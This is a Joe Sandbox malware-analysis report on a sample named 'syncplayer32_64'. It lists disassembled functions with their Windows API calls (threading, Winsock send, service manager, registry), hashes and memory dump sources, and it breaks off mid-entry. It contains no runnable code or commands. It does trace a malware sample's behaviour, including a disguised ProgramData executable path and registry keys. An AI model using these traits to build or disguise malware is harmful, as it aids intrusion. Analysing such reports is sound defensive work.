Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$CompareCompletionEnterIncrementLeavePostQueuedStatus
String ID:
API String ID: 1601054111-0
Opcode ID: 114a19db66d6c8048e42f0a581e7cac51f607dc83171aa486fc2940b571662d5
Instruction ID: 8b9ef510ffe986ab33b7c13b9c36259ca39f1248b1dee9f3948a11926c2002be
Opcode Fuzzy Hash: 114a19db66d6c8048e42f0a581e7cac51f607dc83171aa486fc2940b571662d5
Instruction Fuzzy Hash: EC11C4B5104209ABDF218E14CCC5FAA3BA5EF40364F284496FE96C72D0CF34D860EB95

Function 02B520F0 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

__beginthreadex.LIBCMT ref: 02B52106
CloseHandle.KERNEL32(?,?,?,?,?,00000002,02B4A989,00000000), ref: 02B52137
ResumeThread.KERNEL32(?,?,?,?,?,00000002,02B4A989,00000000), ref: 02B52145

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseHandleResumeThread__beginthreadex
String ID:
API String ID: 1685284544-0
Opcode ID: acc6c8cff89370bf8327bfd0e296d0670ece8ce743600a3cad71b139d9abc5ad
Instruction ID: a9311ac118c44b3de217d0142790c015d579852bc3b79df482536e795538c2c3
Opcode Fuzzy Hash: acc6c8cff89370bf8327bfd0e296d0670ece8ce743600a3cad71b139d9abc5ad
Instruction Fuzzy Hash: C2F0C8702412105BE7209E58DC84F96B3D8EF48364F14059AFA54CB280C771A8929A90

Function 00402163 Relevance: 4.5, APIs: 3, Instructions: 19timeCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?), ref: 0040B53C
CommandLineToArgvW.SHELL32(00000000), ref: 0040B543
GetLocalTime.KERNEL32(00409F90), ref: 0040B550

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: CommandLine$ArgvLocalTime
String ID:
API String ID: 3768950922-0
Opcode ID: ad128f1624ef447dc643f0808f2951519bb98c3c218d88db454617214f5db541
Instruction ID: 437d10c531d1013be9252fb5d0eaf3ade2209f3be019ff3571b1e1271c624ccb
Opcode Fuzzy Hash: ad128f1624ef447dc643f0808f2951519bb98c3c218d88db454617214f5db541
Instruction Fuzzy Hash: BEE0EC71808202EFCB046BA1AA0D45A37E49604749721847BE513F61D1DB7C84569F5E

Function 02B41AA9 Relevance: 4.5, APIs: 3, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(02B772B4), ref: 02B41ABA
WSAStartup.WS2_32(00000002,00000000), ref: 02B41ACB
InterlockedExchange.KERNEL32(02B772B8,00000000), ref: 02B41AD7

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Interlocked$ExchangeIncrementStartup
String ID:
API String ID: 1856147945-0
Opcode ID: 3b8f3e1caff559892543851b609479c231df03f0084edb777503fec664f6acd5
Instruction ID: e95d1a49484a282432897516be491699f0a604812141b95ea1367dada6e67c74
Opcode Fuzzy Hash: 3b8f3e1caff559892543851b609479c231df03f0084edb777503fec664f6acd5
Instruction Fuzzy Hash: ADD05E31DA42145BE21066A4AC4EA78F72CE706669F00069AFDBAC20D0EE545520B5B6

Function 02B53493 Relevance: 4.5, APIs: 3, Instructions: 16threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 02B53497

Part of subcall function 02B55C72: GetLastError.KERNEL32(74DF0A60,74DEF550,02B55E60,02B53033,74DEF550,?,02B4606D,00000104,74DF0A60,74DEF550,ntdll.dll,?,?,?,02B46508), ref: 02B55C74
Part of subcall function 02B55C72: __calloc_crt.LIBCMT ref: 02B55C95
Part of subcall function 02B55C72: __initptd.LIBCMT ref: 02B55CB7
Part of subcall function 02B55C72: GetCurrentThreadId.KERNEL32 ref: 02B55CBE
Part of subcall function 02B55C72: SetLastError.KERNEL32(00000000,02B4606D,00000104,74DF0A60,74DEF550,ntdll.dll,?,?,?,02B46508), ref: 02B55CD6

__freeptd.LIBCMT ref: 02B534B1

Part of subcall function 02B53596: LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,02B534B0), ref: 02B535B0
Part of subcall function 02B53596: GetProcAddress.KERNEL32(00000000), ref: 02B535B7
Part of subcall function 02B53596: RtlEncodePointer.NTDLL(00000000), ref: 02B535C2
Part of subcall function 02B53596: RtlDecodePointer.NTDLL(02B534B0), ref: 02B535DD

RtlExitUserThread.NTDLL(?,00000000,?,02B53473,00000000), ref: 02B534BA

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLastPointerThread$AddressCurrentDecodeEncodeExitLibraryLoadProcUser__calloc_crt__freeptd__getptd_noexit__initptd
String ID:
API String ID: 2811226776-0
Opcode ID: 97e0c10f222f646ffd8d4ddb14fe5888521be54a99052b0514d898c4ea829542
Instruction ID: 4035ae72283d29925785ce45248f195a241fdc0f4462f41de0847bdde173384d
Opcode Fuzzy Hash: 97e0c10f222f646ffd8d4ddb14fe5888521be54a99052b0514d898c4ea829542
Instruction Fuzzy Hash: 4ED0A73140163467C6337764D41875F75DDDF013DAF0804D8DD000D2548F7C5A84CAD5

Function 004027C2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040B1AE

Strings

C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe, xrefs: 0040BAD0

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: ManagerOpen
String ID: C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe
API String ID: 1889721586-2519366810
Opcode ID: 09a3a2ae7c866a7ff0d309efd99684e939659f57ef074a9b3d0a0c3aaf919c47
Instruction ID: ead5f04eae9c12aa71c6200a61fd031c3c269de48af210f7d526ca3bef3e2db5
Opcode Fuzzy Hash: 09a3a2ae7c866a7ff0d309efd99684e939659f57ef074a9b3d0a0c3aaf919c47
Instruction Fuzzy Hash: 66F046B050A346BEC3035A700E98AA73E58CE4138436001BFA543FF1C3C27A0803A3EE

Function 004022FC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(80000002,Software\BetaTour), ref: 0040223A

Strings

Software\BetaTour, xrefs: 004022FE

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Create
String ID: Software\BetaTour
API String ID: 2289755597-3894993710
Opcode ID: a3c8759c41739ac5fe73f2e51a46d3d8363c021b0fe3add05782281675a43611
Instruction ID: 8083c30cecf6f906b573fdc3c74ab4df853bb30dd0a5a836f400770e500e9216
Opcode Fuzzy Hash: a3c8759c41739ac5fe73f2e51a46d3d8363c021b0fe3add05782281675a43611
Instruction Fuzzy Hash: C1D05EA1948104FAE1100A104E8DFB7212CC308B8CF3008BBB94BB02C2D3BC5D2254AF

Function 00402275 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders), ref: 00402609

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00402275

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Open
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 71445658-2036018995
Opcode ID: 0e290c990734ed7bcf6d14c01621f5448df6d1c6667318dba588d78558630742
Instruction ID: 93f0ee0e51846fcb197cd57104fc37df88b001e43c715f9f4513bb38d53dad80
Opcode Fuzzy Hash: 0e290c990734ed7bcf6d14c01621f5448df6d1c6667318dba588d78558630742
Instruction Fuzzy Hash: D8D05E30A0C105E9E7248A90894C7AB3AB4E700700F304977E803B10C2D3BD554A666F

Function 02B44BED Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B44BF2

Part of subcall function 02B41BA7: __EH_prolog.LIBCMT ref: 02B41BAC
Part of subcall function 02B41BA7: RtlEnterCriticalSection.NTDLL ref: 02B41BBC
Part of subcall function 02B41BA7: RtlLeaveCriticalSection.NTDLL ref: 02B41BEA
Part of subcall function 02B41BA7: RtlEnterCriticalSection.NTDLL ref: 02B41C13
Part of subcall function 02B41BA7: RtlLeaveCriticalSection.NTDLL ref: 02B41C56

Part of subcall function 02B4E0F8: __EH_prolog.LIBCMT ref: 02B4E0FD
Part of subcall function 02B4E0F8: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B4E17C

InterlockedExchange.KERNEL32(?,00000000), ref: 02B44CF2

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$H_prolog$EnterExchangeInterlockedLeave
String ID:
API String ID: 1927618982-0
Opcode ID: 3c86ffbc5db8aade5e432c40b07503c76afb056bcc09fe0de0575130d7e6ae70
Instruction ID: 2f3353cab7daf009ae19af2668dd750a08389df16e4a5d776f04bd09bc653d2a
Opcode Fuzzy Hash: 3c86ffbc5db8aade5e432c40b07503c76afb056bcc09fe0de0575130d7e6ae70
Instruction Fuzzy Hash: 455106B1D042489FDB15DFA8C884AEEBBB5FF08314F1481AAE905AB351DB709A44DF61

Function 02B42D39 Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B42D47
WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02B42D5C

Part of subcall function 02B4A509: WSAGetLastError.WS2_32(00000000,?,?,02B42A51), ref: 02B4A517

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLast$Send
String ID:
API String ID: 1282938840-0
Opcode ID: 0a7c53c4249983bb9ca3dc4e42d265a610eeef51fbfeb2975c92cf090a948ca9
Instruction ID: 9b68348eb4a9c07a10212e9e102dee3e096c85dc8753d44177e7531ce18a70d1
Opcode Fuzzy Hash: 0a7c53c4249983bb9ca3dc4e42d265a610eeef51fbfeb2975c92cf090a948ca9
Instruction Fuzzy Hash: E50175B5500209AFD7206F5488C496BBAEDFB493A4B1009AEFC5997240EF749D00AB61

Function 02B483EA Relevance: 3.0, APIs: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B48407
shutdown.WS2_32(?,00000002), ref: 02B48410

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLastshutdown
String ID:
API String ID: 1920494066-0
Opcode ID: 59ebc7de9faed2d772a791863735498285e1408f9d03421dab6415cca975730c
Instruction ID: 8b9b86d1b0fd16c434b980eb4c53c04f8bce4bc519067e877c91573828328e8f
Opcode Fuzzy Hash: 59ebc7de9faed2d772a791863735498285e1408f9d03421dab6415cca975730c
Instruction Fuzzy Hash: 16F09071A043148FC710AF14D854B5AB7E5FF09364F05489CEDA597380DB70A810DBA1

Function 02B4D514 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4D519
std::exception::exception.LIBCMT ref: 02B4D541

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prologstd::exception::exception
String ID:
API String ID: 2619619420-0
Opcode ID: e0df5ccf79dccd97f689c3211528c66292198383912b5ef7b758c849e86e7ed9
Instruction ID: 7430366dd4cf0bf2c18d2c30a2caa20508b67c634ada8b40414041cbc068fe97
Opcode Fuzzy Hash: e0df5ccf79dccd97f689c3211528c66292198383912b5ef7b758c849e86e7ed9
Instruction Fuzzy Hash: 7AF08272A11526ABCB109F5CD9146AEF7F9EF49700B1001DE9944D7600DBB4AD548BA4

Function 00403A30 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,00402DFF,00000000), ref: 00403A41

Part of subcall function 004038E8: GetVersionExA.KERNEL32 ref: 00403907

HeapDestroy.KERNEL32 ref: 00403A80

Part of subcall function 00403E07: HeapAlloc.KERNEL32(00000000,00000140,00403A69,000003F8), ref: 00403E14

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 08f14aee262382775140a5fb38b16d88e88289f6ea168ffb6a246c9e47cbf934
Instruction ID: 596bfb85164c6976a77478b8582bc927b5356513505c978a27be6da88daf8786
Opcode Fuzzy Hash: 08f14aee262382775140a5fb38b16d88e88289f6ea168ffb6a246c9e47cbf934
Instruction Fuzzy Hash: 34F06D70744301AEEB24EF70AE4676B3D98AB40757F10493FF941F81E0EB7986909A0A

Function 02B52541 Relevance: 3.0, APIs: 2, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::_Tidy.LIBCMT ref: 02B5254F

Part of subcall function 02B525D7: _free.LIBCMT ref: 02B525E3

std::exception::_Copy_str.LIBCMT ref: 02B5255F

Part of subcall function 02B52599: _strlen.LIBCMT ref: 02B525A9
Part of subcall function 02B52599: _malloc.LIBCMT ref: 02B525B2

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: std::exception::_$Copy_strTidy_free_malloc_strlen
String ID:
API String ID: 3422279883-0
Opcode ID: f78214edd59480ba882a159d0ce45a951396e972e38eae400245d38577db43ce
Instruction ID: 9ba9557bee6da9935b975e8bbcb310a262dbb82a2a16e10a6854768470aa283c
Opcode Fuzzy Hash: f78214edd59480ba882a159d0ce45a951396e972e38eae400245d38577db43ce
Instruction Fuzzy Hash: 24E0C2B26026346BC321EA5DE534759FB99EF40A60B0482A7ED188B702D760FD51CBD1

Function 004021AD Relevance: 3.0, APIs: 2, Instructions: 12registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32 ref: 004021AD
RegCloseKey.KERNEL32(?), ref: 0040B4EB

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63bec783eec20621dc7f8888a8c8a26c432bd5e78771106443a7b66b0245abf5
Instruction ID: 807f80de05fed95f0f5f9dac4a493b60b869dc5a5ca613a53334e19cb5e3a715
Opcode Fuzzy Hash: 63bec783eec20621dc7f8888a8c8a26c432bd5e78771106443a7b66b0245abf5
Instruction Fuzzy Hash: 07C0123094C001FAC2245FB04F0D5272960E60434033188B7A923B00D1C77D9613795F

Function 02B45119 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4511E

Part of subcall function 02B43D7E: htons.WS2_32(?), ref: 02B43DA2
Part of subcall function 02B43D7E: htonl.WS2_32(00000000), ref: 02B43DB9
Part of subcall function 02B43D7E: htonl.WS2_32(00000000), ref: 02B43DC0

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: htonl$H_prologhtons
String ID:
API String ID: 4039807196-0
Opcode ID: f45ebcf2bfdd09b9227863165c5c96e685fc4c164caaa20f9565a7c550e14775
Instruction ID: 854a95d68e4d1bd5c051478a74e4a65240f100ce255ce3f4d805bb2dd2013401
Opcode Fuzzy Hash: f45ebcf2bfdd09b9227863165c5c96e685fc4c164caaa20f9565a7c550e14775
Instruction Fuzzy Hash: AF8157B2D0424E8FCF15DFA8D490AEEBBB5EF48314F20819AD851B7240EB355A45DFA1

Function 02BA76AC Relevance: 1.6, APIs: 1, Instructions: 141fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 02BDB4FD

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B7A000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b7a000_syncplayer32_64.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 53472cb331192b01f6b8321615e4b94a8f1517e64c0f4e01ba2e48c323b22422
Instruction ID: c32a8ff3fdcc84782e8176f90995207eba6cb115b041345245cbabfa82ce84ab
Opcode Fuzzy Hash: 53472cb331192b01f6b8321615e4b94a8f1517e64c0f4e01ba2e48c323b22422
Instruction Fuzzy Hash: 94416EB250C7049FE715BF19EC85779FBE5EF94320F02892DD6C083644EA3564448B8B

Function 02B444AB Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B444B0

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 82d3029a53cfea18d63493d45a1e19bcc626b615f5707e39df2c0459c90e15d5
Instruction ID: 748b1f7a88585578b6c7b04dacfe577f5cf2e48d553a705622398615d8d134d1
Opcode Fuzzy Hash: 82d3029a53cfea18d63493d45a1e19bcc626b615f5707e39df2c0459c90e15d5
Instruction Fuzzy Hash: 3041097190120AAFCF14DF99C8D0EEEBBF9FF88314F1441AAE505A7241DB749A45DBA0

Function 02B7EEF1 Relevance: 1.6, APIs: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(1F063376), ref: 02B8AF60

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B7A000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b7a000_syncplayer32_64.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dc95f067f83cac514d844ed651ea804623dff6e2ff262952ecc6029f1f11d6cd
Instruction ID: d7439a6cbed63cc63fc1bad779a896b9ad991bb05c9a3bb7046fee8c208dc8f6
Opcode Fuzzy Hash: dc95f067f83cac514d844ed651ea804623dff6e2ff262952ecc6029f1f11d6cd
Instruction Fuzzy Hash: A13125B240C200DFE752AA28DC857BABBE4EB54324F114D9EE9D9C7280D3308811DB93

Function 02B4E9C1 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4E9C6

Part of subcall function 02B41A01: TlsGetValue.KERNEL32 ref: 02B41A0A

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: 1358d9ed5b4e1aefe64b4fd5c4629b5b29499c26ed402e31929277ab8c94f651
Instruction ID: 93dc9500773c1d697cd01f846eacf126e5307ec82e46dae20e8ecb984c1e46f2
Opcode Fuzzy Hash: 1358d9ed5b4e1aefe64b4fd5c4629b5b29499c26ed402e31929277ab8c94f651
Instruction Fuzzy Hash: 9A214FB1904209AFDB00DFA8D480AFEBBF9FF48310F14416AE415A3240DB74E900DBA1

Function 02B7EE5B Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(1F063376), ref: 02B8AF60

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B7A000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b7a000_syncplayer32_64.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 294627706c7aefcbc365b90441cb7eae433672277b2f7d783ccdcb0a486007df
Instruction ID: fa9e039b86f8170898f219f489a3027f5dedc4d035a8e3ce1f032f364e7674d3
Opcode Fuzzy Hash: 294627706c7aefcbc365b90441cb7eae433672277b2f7d783ccdcb0a486007df
Instruction Fuzzy Hash: 7201B1B258D204FFE3012F14ED846BEFBA4FB88668F55861EF5D682A90D73548009652

Function 02B433B2 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 02B433CC

Part of subcall function 02B432AB: __EH_prolog.LIBCMT ref: 02B432B0
Part of subcall function 02B432AB: RtlEnterCriticalSection.NTDLL(?), ref: 02B432C3
Part of subcall function 02B432AB: RtlLeaveCriticalSection.NTDLL(?), ref: 02B432EF

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompareEnterExchangeH_prologInterlockedLeave
String ID:
API String ID: 1518410164-0
Opcode ID: e7ffb43f3445cb5cfb209dc2f5828338ae9bd67bce8d6893be34a607916df263
Instruction ID: 59323d5ad73cffcc61b19b36ffae72d3f61d48f097fd5300250fe2662712ddfa
Opcode Fuzzy Hash: e7ffb43f3445cb5cfb209dc2f5828338ae9bd67bce8d6893be34a607916df263
Instruction Fuzzy Hash: 8C018071614606AFD704DF59D8C5F55BBA9FF44324B24839AE828872C0EF30E821DBA0

Function 02B4DC91 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 02B4D3C4: __EH_prolog.LIBCMT ref: 02B4D3C9

__CxxThrowException@8.LIBCMT ref: 02B4DCAE

Part of subcall function 02B5455A: RaiseException.KERNEL32(?,?,02B4FB5F,?,?,?,?,?,?,?,02B4FB5F,?,02B70F98,?), ref: 02B545AF

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ExceptionException@8H_prologRaiseThrow
String ID:
API String ID: 1681477883-0
Opcode ID: 505087f604e6cf58e21b645bfda9d992bbf3887c9249ed24b8a8f733005f5acf
Instruction ID: aea6b42d9881c317bf037bca2b325be2405a018ca1a98ece5742248bb4c9ce33
Opcode Fuzzy Hash: 505087f604e6cf58e21b645bfda9d992bbf3887c9249ed24b8a8f733005f5acf
Instruction Fuzzy Hash: BDF0C2719102086FD718ABEDD885CEBB3FCDB08714B00059DFA0693600EAA1F8458BB1

Function 004026DC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040B1AE

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 394ced41875a99436215af7cfd5f73b612e011b1b40104ffd94ea4b38b7fcff9
Instruction ID: 5f46f93e14b7c8104a42baafcfae3df429e4688ce35f2937ffdaec8928b1534e
Opcode Fuzzy Hash: 394ced41875a99436215af7cfd5f73b612e011b1b40104ffd94ea4b38b7fcff9
Instruction Fuzzy Hash: D0F0C8B144D21ADFCB818F108EA847A77A8EA15344730087BD602FB5C0C3BE8406E69E

Function 02B4E551 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4E556

Part of subcall function 02B426DB: RtlEnterCriticalSection.NTDLL(?), ref: 02B42706
Part of subcall function 02B426DB: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02B4272B
Part of subcall function 02B426DB: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02B65B53), ref: 02B42738
Part of subcall function 02B426DB: SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02B42778
Part of subcall function 02B426DB: RtlLeaveCriticalSection.NTDLL(?), ref: 02B427D9

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID:
API String ID: 4293676635-0
Opcode ID: 9092908f157f1ea284cc9b4cdba3cda743cfcf44bbfd520e02a64d171baad2f6
Instruction ID: 4922e0ce88a682397bceba6dced86f3624d6eeb4069997ba634cbe3270c8d905
Opcode Fuzzy Hash: 9092908f157f1ea284cc9b4cdba3cda743cfcf44bbfd520e02a64d171baad2f6
Instruction Fuzzy Hash: 7401D0B1A10B048FC318CF1AC5449A6FBF4EF88300B05C6EE94498B321E774AA40CF90

Function 02B4D3C4 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4D3C9

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3fa6c8248313c28312f776ab418873255e9721a82773d8658be840db27e4e8d7
Instruction ID: 9acf4d32c1da2f08da62e8ff89ec65bcf5b40902a3e9e8f2e789375f33fe9e2e
Opcode Fuzzy Hash: 3fa6c8248313c28312f776ab418873255e9721a82773d8658be840db27e4e8d7
Instruction Fuzzy Hash: 8A01E872A106159FDB20CF48D548B6AB7F4FB08719F04868DE4899B701C778EA08CF94

Function 02B80979 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

